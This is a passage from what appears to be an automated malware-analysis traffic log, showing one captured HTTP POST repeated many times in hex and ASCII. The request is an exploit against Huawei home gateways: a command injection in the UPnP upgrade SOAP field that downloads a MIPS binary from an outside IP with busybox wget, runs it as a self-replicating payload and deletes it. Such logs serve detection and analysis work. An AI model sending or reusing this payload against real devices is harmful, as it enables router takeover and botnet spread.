/tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
